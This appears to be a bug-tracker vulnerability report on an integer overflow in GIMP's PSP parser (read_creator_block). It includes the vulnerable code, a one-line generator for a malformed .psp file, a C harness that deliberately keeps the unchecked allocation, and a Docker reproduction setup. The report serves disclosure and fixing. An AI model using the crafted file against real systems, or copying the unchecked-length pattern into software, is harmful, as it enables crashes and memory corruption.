Fedora Account System
Red Hat Associate
Red Hat Customer
An integer overflow vulnerability has been identified in the PSP (Paint Shop Pro) file parser of GIMP. The issue occurs in the read_creator_block() function, where the Creator metadata block is processed. Specifically, a 32-bit length value read from the file is used directly for memory allocation without proper validation. Trigger -> when length is set to 0xFFFFFFFF g_malloc(0xFFFFFFFF + 1) results in g_malloc(0), leading to the allocation of a minimal-sized buffer fread() then attempts to read approximately 4 GB of data into this small buffer Writing string[0xFFFFFFFF] = '\0' causes an out-of-bounds write beyond the allocated buffer Vulnerable code (file-psp.c:1130): guint32 length; fread(&length, 4, 1, f); // Reads length from the file (no validation) string = g_malloc(length + 1); // length = 0xFFFFFFFF → g_malloc(0) fread(string, length, 1, f); // Attempts to read ~4 GB → heap overflow string[length] = '\0'; // Out-of-bounds write at offset 0xFFFFFFFF PoC psp_overflow.psp printf 'Paint Shop Pro Image File\n\x1a\0\0\0\0\0\x03\0\0\0~BK\0\0\0&\0\0\0&\0\0\0\x10\0\0\0\x10\0\0\0\0\0\0\0\0\0R@\0\0\0\x08\0\x01\0\0\x01\0\0\0\0\x01\0\0\0\0\0\0\x01\0~BK\0\x01\0\x0a\x01\0\0\x0a\x01\0\0~FL\0\0\0\xff\xff\xff\xff%s' "$(printf 'A%.0s' {1..256})" > psp_overflow.psp harness_psp.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> typedef uint32_t guint32; typedef uint16_t guint16; typedef unsigned char guchar; typedef char gchar; #define GUINT32_FROM_LE(val) (val) #define GUINT16_FROM_LE(val) (val) #define PSP_CRTR_FLD_TITLE 0 #define PSP_CRTR_FLD_ARTIST 1 #define PSP_CRTR_FLD_CPYRGHT 2 #define PSP_CRTR_FLD_DESC 3 static int read_creator_block_vulnerable(FILE *f, long data_start, guint32 total_len) { guchar buf[4]; guint16 keyword; guint32 length; gchar *string; printf("[*] Parsing creator block (total_len=%u)\n", total_len); while (ftell(f) < data_start + total_len) { if (fread(buf, 4, 1, f) < 1 || fread(&keyword, 2, 1, f) < 1 || fread(&length, 4, 1, f) < 1) { fprintf(stderr, "[-] Error reading creator keyword chunk\n"); return -1; } if (memcmp(buf, "~FL\0", 4) != 0) { fprintf(stderr, "[-] Invalid keyword chunk header\n"); return -1; } keyword = GUINT16_FROM_LE(keyword); length = GUINT32_FROM_LE(length); printf("[*] Found field: keyword=%u, length=0x%08X (%u)\n", keyword, length, length); switch (keyword) { case PSP_CRTR_FLD_TITLE: case PSP_CRTR_FLD_ARTIST: case PSP_CRTR_FLD_CPYRGHT: case PSP_CRTR_FLD_DESC: string = (gchar *)malloc(length + 1); // vulnerable if (string == NULL) { fprintf(stderr, "[-] malloc failed\n"); return -1; } printf("fread(buf, %u, 1, f) -> heap overflow\n", length); if (fread(string, length, 1, f) < 1) { fprintf(stderr, "[*] fread failed (expected for large length)\n"); } printf("[!] Writing string[0x%08X] = '\\0' -> oob write\n", length); string[length] = '\0'; // crash! free(string); break; default: fseek(f, length, SEEK_CUR); break; } } return 0; } int main(int argc, char *argv[]) { FILE *f; char magic[32]; guchar buf[4]; guint16 block_type; guint32 block_len1, block_len2; f = fopen(argv[1], "rb"); if (!f) { fprintf(stderr, "[-] Cannot open %s\n", argv[1]); return 1; } if (fread(magic, 32, 1, f) < 1) { fprintf(stderr, "[-] Cannot read magic\n"); fclose(f); return 1; } if (memcmp(magic, "Paint Shop Pro Image File", 25) != 0) { fprintf(stderr, "[-] Invalid PSP file\n"); fclose(f); return 1; } printf("[+] Valid PSP signature\n"); fseek(f, 4, SEEK_CUR); while (fread(buf, 4, 1, f) == 1) { if (memcmp(buf, "~BK\0", 4) != 0) { fseek(f, -3, SEEK_CUR); continue; } if (fread(&block_type, 2, 1, f) < 1 || fread(&block_len1, 4, 1, f) < 1 || fread(&block_len2, 4, 1, f) < 1) { break; } block_type = GUINT16_FROM_LE(block_type); block_len1 = GUINT32_FROM_LE(block_len1); if (block_type == 1) { long data_start = ftell(f); read_creator_block_vulnerable(f, data_start, block_len1); break; } else { fseek(f, block_len1, SEEK_CUR); } } fclose(f); return 0; } Dockerfile FROM --platform=linux/arm64 ubuntu:22.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y \ build-essential \ git \ clang \ python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /reproduce COPY harness_psp.c ./ COPY psp_overflow.psp ./ RUN clang -fsanitize=address -g -O1 -o harness_psp harness_psp.c CMD ["/reproduce/harness_psp", "/reproduce/psp_overflow.psp"] Run docker build -t gimp-vuln-psp-poc . docker run --rm gimp-vuln-psp-poc Environment GIMP Version: 3.2.0 RC2 Source Code: git clone --branch GIMP_3_2_0_RC2 https://gitlab.gnome.org/GNOME/gimp.git vuln file: plug-ins/common/file-psp.c vuln func: read_creator_block() vuln line: 1130 test environment OS: macOS 15.2 (Darwin 25.2.0) Arch: ARM64 (Apple M4) Docker: ubuntU:22.04 Compiler: clang with -fsanitize=address